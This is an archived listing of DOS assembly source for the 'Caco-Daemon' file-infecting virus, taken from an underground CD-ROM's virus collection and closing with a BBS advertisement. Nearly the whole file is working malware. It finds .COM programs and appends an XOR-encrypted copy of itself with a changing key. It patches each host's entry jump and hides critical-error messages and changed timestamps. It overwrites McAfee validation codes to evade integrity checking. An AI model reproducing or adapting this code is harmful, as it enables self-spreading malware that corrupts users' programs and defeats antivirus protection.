home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / c / cacodmon.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  14.5 KB  |  337 lines

  1.             Org 0h                              ; Generate .BIN file
  2.  
  3.  
  4.  
  5. Start:      Jmp MainVir                         ; Jump to decryptor code at EOF
  6.  
  7.  
  8.  
  9.             Db '*'                              ; Virus signature (very short)
  10.  
  11.  
  12.  
  13. ;
  14.  
  15. ; Decryptor procedure
  16.  
  17. ;
  18.  
  19.  
  20.  
  21. MainVir:    Call On1                            ; Push offset on stack
  22.  
  23.  
  24.  
  25. On1:        Pop BP                              ; Calculate virus offset
  26.  
  27.             Sub BP,Offset MainVir+3             ;
  28.  
  29.  
  30.  
  31.             Push Ax                             ; Save possible error code
  32.  
  33.  
  34.  
  35.             Lea Si,Crypt[BP]                    ; Decrypt the virus with a
  36.  
  37.             Mov Di,Si                           ; very simple exclusive or
  38.  
  39.             Mov Cx,CryptLen                     ; function.
  40.  
  41. Decrypt:    Lodsb                               ;
  42.  
  43.             Xor Al,0                            ;
  44.  
  45.             Stosb                               ;
  46.  
  47.             Loop Decrypt                        ;
  48.  
  49.  
  50.  
  51. DecrLen     Equ $-MainVir                       ; Length of the decryptor
  52.  
  53.  
  54.  
  55. ;
  56.  
  57. ; Main initialization procedure
  58.  
  59. ;
  60.  
  61.  
  62.  
  63. Crypt:      Mov Ax,Cs:OrgPrg[BP]                ; Store begin of host at
  64.  
  65.             Mov Bx,Cs:OrgPrg[BP]+2              ; cs:100h (begin of com)
  66.  
  67.             Mov Cs:Start+100h,Ax                ;
  68.  
  69.             Mov Cs:Start[2]+100h,Bx             ;
  70.  
  71.  
  72.  
  73.             Xor Ax,Ax                           ; Get original interrupt 24
  74.  
  75.             Push Ax                             ; (critical error handler)
  76.  
  77.             Pop Ds                              ;
  78.  
  79.             Mov Bx,Ds:[4*24h]                   ;
  80.  
  81.             Mov Es,Ds:[4*24h]+4                 ;
  82.  
  83.  
  84.  
  85.             Mov Word Ptr Cs:OldInt24[Bp],Bx     ; And store it on a save place
  86.  
  87.             Mov Word Ptr Cs:OldInt24+2[Bp],Es   ;
  88.  
  89.  
  90.  
  91.             Lea Bx,NewInt24[Bp]                 ; Install own critical error
  92.  
  93.             Push Cs                             ; handler to avoid messages
  94.  
  95.             Pop Es                              ; when a disk is write
  96.  
  97.             Mov Word Ptr Ds:[4*24h],Bx          ; protected and such things
  98.  
  99.             Mov Word Ptr Ds:[4*24h]+2,Es        ;
  100.  
  101.             Push Cs                             ;
  102.  
  103.             Pop Ds                              ;
  104.  
  105.  
  106.  
  107.             Mov Ah,30h                          ; Check if DOS version is
  108.  
  109.             Int 21h                             ; 3.0 or above for correct
  110.  
  111.             Cmp Al,3                            ; interrupt use
  112.  
  113.             Jae NoCLean                         ;
  114.  
  115.             Jmp Ready
  116.  
  117.  
  118.  
  119. NoClean:    Mov Ah,1ah                          ; Store DTA at safe place
  120.  
  121.             Mov Dx,0fd00h                       ;
  122.  
  123.             Int 21h                             ;
  124.  
  125.  
  126.  
  127.             Mov Ah,4eh                          ; FindFirsFile Function
  128.  
  129.  
  130.  
  131. Search:     Lea Dx,FileSpec[BP]                 ; Search for filespec given
  132.  
  133.             Xor Cx,Cx                           ; in FileSpec adress
  134.  
  135.             Int 21h                             ;
  136.  
  137.             Jnc Found                           ; Found - Found
  138.  
  139.             Jmp Ready                           ; Not Found - Ready
  140.  
  141.  
  142.  
  143. Found:      Mov Ax,4300h                        ; Get file attributes and
  144.  
  145.             Mov Dx,0fd1eh                       ; store them on the stack
  146.  
  147.             Int 21h                             ;
  148.  
  149.             Push Cx                             ;
  150.  
  151.  
  152.  
  153.             Mov Ax,4301h                        ; clear file attributes
  154.  
  155.             Xor Cx,Cx                           ;
  156.  
  157.             Int 21h                             ;
  158.  
  159.  
  160.  
  161.             Mov Ax,3d02h                        ; open file with read/write
  162.  
  163.             Int 21h                             ; access
  164.  
  165.  
  166.  
  167.             Mov Bx,5700h                        ; save file date/time stamp
  168.  
  169.             Xchg Ax,Bx                          ; on the stack
  170.  
  171.             Int 21h                             ;
  172.  
  173.             Push Cx                             ;
  174.  
  175.             Push Dx                             ;
  176.  
  177.  
  178.  
  179.             Mov Ah,3fh                          ; read the first 4 bytes of
  180.  
  181.             Lea Dx,OrgPrg[BP]                   ; the program onto OrgPrg
  182.  
  183.             Mov Cx,4                            ;
  184.  
  185.             Int 21h                             ;
  186.  
  187.  
  188.  
  189.             Mov Ax,Cs:[OrgPrg][BP]              ; Check if renamed exe-file
  190.  
  191.             Cmp Ax,'ZM'                         ;
  192.  
  193.             Je ExeFile                          ;
  194.  
  195.  
  196.  
  197.             Cmp Ax,'MZ'                         ; Check if renamed weird exe-
  198.  
  199.             Je ExeFile                          ; file
  200.  
  201.  
  202.  
  203.             Mov Ah,Cs:[OrgPrg+3][BP]            ; Check if already infected
  204.  
  205.             Cmp Ah,'*'                          ;
  206.  
  207.             Jne Infect                          ;
  208.  
  209.  
  210.  
  211. ExeFile:    Call Close                          ; If one of the checks is yes,
  212.  
  213.             Mov Ah,4fh                          ; close file and search next
  214.  
  215.             Jmp Search                          ; file
  216.  
  217.  
  218.  
  219. FSeek:      Xor Cx,Cx                           ; subroutine to jump to end
  220.  
  221.             Xor Dx,Dx                           ; or begin of file
  222.  
  223.             Int 21h                             ;
  224.  
  225.             Ret                                 ;
  226.  
  227.  
  228.  
  229. Infect:     Mov Ax,0fd1e[0]                     ; check if the file is
  230.  
  231.             Cmp Ax,'OC'                         ; COMMAN?.COM (usually result
  232.  
  233.             Jne NoCommand                       ; if COMMAND.COM)
  234.  
  235.             Mov Ax,0fd1e[2]                     ;
  236.  
  237.             Cmp Ax,'MM'                         ;
  238.  
  239.             Jne NoCommand                       ;
  240.  
  241.             Mov Ax,0fd1e[4]                     ;
  242.  
  243.             Cmp Ax,'NA'                         ;
  244.  
  245.             Jne NoCommand                       ;
  246.  
  247.  
  248.  
  249.             Mov Ax,4202h                        ; Jump to EOF
  250.  
  251.             Call Fseek                          ;
  252.  
  253.  
  254.  
  255.             Cmp Ax,0f000h                       ; Check if file too large
  256.  
  257.             Jae ExeFile
  258.  
  259.  
  260.  
  261.             Cmp Ax,VirS                         ; Check if file to short
  262.  
  263.             jbe ExeFile
  264.  
  265.             
  266.  
  267.             Sub     Ax,VirS  
  268.  
  269.             Xchg    Cx,Dx
  270.  
  271.             Mov     Dx,4200h
  272.  
  273.             Xchg    Dx,Ax
  274.  
  275.             Mov     EOFminVir[BP],Dx
  276.  
  277.             Int     21h
  278.  
  279.             Mov     Ah,3fh
  280.  
  281.             Mov     Dx,Offset Buffer
  282.  
  283.             Mov     Cx,VirS  
  284.  
  285.             Int     21h
  286.  
  287.             Cld
  288.  
  289.             Mov     Si,Offset Buffer
  290.  
  291.             Mov     Cx,VirLen
  292.  
  293. On5:
  294.  
  295.             Push    Cx
  296.  
  297. On6:        Lodsb
  298.  
  299.             Cmp     Al,0
  300.  
  301.             Jne     On4
  302.  
  303.             Loop    On6
  304.  
  305. On4:        Cmp     Cx,0
  306.  
  307.             Je      Found0
  308.  
  309.  
  310.  
  311.             Pop     Cx
  312.  
  313.             Cmp     Si,SeekLen
  314.  
  315.             Jb      On5
  316.  
  317.             Jmp     NoCommand
  318.  
  319.  
  320.  
  321. Found0:     Pop     Cx
  322.  
  323.             Sub     Si,Offset Buffer
  324.  
  325.             Sub     Si,Cx
  326.  
  327.             Xor     Cx,Cx
  328.  
  329.             Mov     Dx,EOFminVir[BP]
  330.  
  331.             Add     Dx,Si
  332.  
  333.  
  334.  
  335.             Mov     Ax,4200h
  336.  
  337.             Int     21h
  338.  
  339.             Jmp     CalcVirus
  340.  
  341.  
  342.  
  343. EOFminVir   Dw 0
  344.  
  345.  
  346.  
  347. NoCommand:  Mov Ax,4202h                        ; jump to EOF
  348.  
  349.             Call FSeek                          ;
  350.  
  351.  
  352.  
  353.             Cmp Ax,0f000h                       ; Check if file too large
  354.  
  355.             Jb NoExe1                           ; if yes, goto exefile
  356.  
  357.             Jmp ExeFile                         ;
  358.  
  359.  
  360.  
  361. NoExe1:     Cmp Ax,10                           ; Check if file too short
  362.  
  363.             Ja NoExe2                           ; if yes, goto exefile
  364.  
  365.             Jmp ExeFile                         ;
  366.  
  367.  
  368.  
  369.  
  370.  
  371. NoExe2:     Mov Cx,Dx                           ; calculate pointer to offset
  372.  
  373.             Mov Dx,Ax                           ; EOF-52 (for McAfee validation
  374.  
  375.             Sub Dx,52                           ; codes)
  376.  
  377.  
  378.  
  379.             Mov Si,Cx                           ; move file pointer to the
  380.  
  381.             Mov Di,Dx                           ; calculated address
  382.  
  383.             Mov Ax,4200h                        ;
  384.  
  385.             Int 21h                             ;
  386.  
  387.  
  388.  
  389.             Mov Ah,3fh                          ; read the last 52 bytes
  390.  
  391.             Mov Dx,0fb00h                       ; of the file
  392.  
  393.             Mov Cx,52                           ;
  394.  
  395.             Int 21h                             ;
  396.  
  397.  
  398.  
  399.             Cmp Ds:0Fb00h,0fdf0h                ; check if protected with the
  400.  
  401.             Jne Check2                          ; AG option
  402.  
  403.             Cmp Ds:0fb02h,0aac5h                ;
  404.  
  405.             Jne Check2                          ;
  406.  
  407.  
  408.  
  409.             Mov Ax,4200h                        ; yes - let virus overwrite
  410.  
  411.             Mov Cx,Si                           ; the code with itself, so
  412.  
  413.             Mov Dx,Di                           ; the file has no validation
  414.  
  415.             Int 21h                             ; code
  416.  
  417.             Jmp CalcVirus                       ;
  418.  
  419.  
  420.  
  421. Check2:     Cmp Ds:0Fb00h+42,0fdf0h             ; check if protected with the
  422.  
  423.             Jne Eof                             ; AV option
  424.  
  425.             Cmp Ds:0Fb02h+42,0aac5h             ;
  426.  
  427.             Jne Eof                             ;
  428.  
  429.  
  430.  
  431.             Mov Ax,4200h                        ; yes - let virus overwrite
  432.  
  433.             Mov Cx,Si                           ; the code with itself, so
  434.  
  435.             Mov Dx,Di                           ; the file has no validation
  436.  
  437.             Add Dx,42                           ; code
  438.  
  439.             Int 21h                             ;
  440.  
  441.             Jmp CalcVirus                       ;
  442.  
  443.  
  444.  
  445. Eof:        Mov Ax,4202h                        ; not AG or AV - jump to
  446.  
  447.             Call Fseek                          ; EOF
  448.  
  449.  
  450.  
  451. CalcVirus:  Sub Ax,3                            ; calculate the jump for the
  452.  
  453.             Mov Cs:CallPtr[BP]+1,Ax             ; virus start
  454.  
  455.  
  456.  
  457. GetCrypt:   Mov Ah,2ch                          ; get 100s seconds for the
  458.  
  459.             Int 21h                             ; encryption value.
  460.  
  461.             Cmp Dl,0                            ; if not zero, goto NoZero
  462.  
  463.             Jne NoZero                          ;
  464.  
  465.             Jmp GetCrypt                        ;
  466.  
  467.  
  468.  
  469. NoZero:     Mov Cs:Decrypt+2[BP],Dl             ; Store key into decryptor
  470.  
  471.  
  472.  
  473.             Lea Si,MainVir[BP]                  ; Move changed decryptor to
  474.  
  475.             Mov Di,0fb00h                       ; a safe place in memory
  476.  
  477.             Mov Cx,DecrLen                      ;
  478.  
  479.             Rep Movsb                           ;
  480.  
  481.  
  482.  
  483.             Lea Si,Crypt[BP]                    ; Encrypt the virus and merge
  484.  
  485.             Mov Cx,CryptLen                     ; it to the changed decryptor
  486.  
  487. Encrypt:    Lodsb                               ; code
  488.  
  489.             Xor Al,Dl                           ;
  490.  
  491.             Stosb                               ;
  492.  
  493.             Loop Encrypt                        ;
  494.  
  495.  
  496.  
  497.             Mov Ah,40h                          ; append virus at EOF or over
  498.  
  499.             Lea Dx,0fb00h                       ; the validation code of
  500.  
  501.             Mov Cx,VirLen                       ; McAfee
  502.  
  503.             Int 21h                             ;
  504.  
  505.  
  506.  
  507.             Mov Ax,4200h                        ; Jump to BOF
  508.  
  509.             Call FSeek                          ;
  510.  
  511.  
  512.  
  513.             Mov Ah,40h                          ; Write Jump at BOF
  514.  
  515.             Lea Dx,CallPtr[BP]                  ;
  516.  
  517.             Mov Cx,4                            ;
  518.  
  519.             Int 21h                             ;
  520.  
  521.  
  522.  
  523.             Call Close                          ; Jump to Close routine
  524.  
  525.  
  526.  
  527. Ready:      Mov Ah,1ah                          ; Restore DTA to normal
  528.  
  529.             Mov Dx,80h                          ; offset
  530.  
  531.             Int 21h                             ;
  532.  
  533.  
  534.  
  535.             Mov Ax,Cs:OldInt24[Bp]              ; remove critical error
  536.  
  537.             Mov Dx,Cs:OldInt24+2[Bp]            ; handler and store the
  538.  
  539.             Xor Bx,Bx                           ; original handler at the
  540.  
  541.             Push Bx                             ; interrupt table
  542.  
  543.             Pop Ds                              ;
  544.  
  545.             Mov Ds:[4*24h],Dx                   ;
  546.  
  547.             Mov Ds:[4*24h]+2,Ax                 ;
  548.  
  549.             Push Cs                             ;
  550.  
  551.             Pop Ds                              ;
  552.  
  553.  
  554.  
  555.             Pop Ax                              ; restore possible error code
  556.  
  557.  
  558.  
  559.             Mov Bx,100h                         ; nice way to jump to the
  560.  
  561.             Push Cs                             ; begin of the original host
  562.  
  563.             Push Bx                             ; code
  564.  
  565.             Retf                                ;
  566.  
  567.  
  568.  
  569.             Db ' (C) 1992 John Tardy / Trident '
  570.  
  571.  
  572.  
  573. Close:      Pop Si                              ; why???
  574.  
  575.  
  576.  
  577.             Pop Dx                              ; restore file date/time
  578.  
  579.             Pop Cx                              ; stamp
  580.  
  581.             Mov Ax,5701h                        ;
  582.  
  583.             Int 21h                             ;
  584.  
  585.  
  586.  
  587.             Mov Ah,3eh                          ; close file
  588.  
  589.             Int 21h                             ;
  590.  
  591.  
  592.  
  593.             Mov Ax,4301h                        ; restore file attributes
  594.  
  595.             Pop Cx                              ;
  596.  
  597.             Mov Dx,0fd1eh                       ;
  598.  
  599.             Int 21h                             ;
  600.  
  601.  
  602.  
  603.             Push Si                             ; why???
  604.  
  605.             Ret
  606.  
  607.  
  608.  
  609. ;           Db 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
  610.  
  611.             Db ' Satan spawn, the Caco-Daemon - Mor(T)alities Death '
  612.  
  613.  
  614.  
  615. ;
  616.  
  617. ; New critical error handler
  618.  
  619. ;
  620.  
  621.  
  622.  
  623. NewInt24:   Mov Al,3                            ; supress any critical error
  624.  
  625.             Iret                                ; messages
  626.  
  627.  
  628.  
  629. OldInt24    Dd 0                                ; storage place for old int 24
  630.  
  631.  
  632.  
  633. CallPtr     Db 0e9h,0,0                         ; jump to place at BOF
  634.  
  635.  
  636.  
  637. FileSpec    Db '*.COM',0                        ; filespec and infection marker
  638.  
  639.  
  640.  
  641. OrgPrg:     Int 20h                             ; original program
  642.  
  643.             Db 'JT'                             ;
  644.  
  645.  
  646.  
  647. CryptLen    Equ $-Crypt                         ; encrypted part length
  648.  
  649.  
  650.  
  651. VirLen      Equ $-MainVir                       ; total virus length
  652.  
  653.  
  654.  
  655. Buffer      Equ 0f040h                          ; buffer offset
  656.  
  657. VirS        Equ VirLen*2
  658.  
  659.  
  660.  
  661. SeekLen     Equ Buffer+Virs
  662.  
  663.  
  664.  
  665. ;  ─────────────────────────────────────────────────────────────────────────
  666.  
  667. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  668.  
  669. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  670.  
  671. ;  ─────────────────────────────────────────────────────────────────────────
  672.  
  673.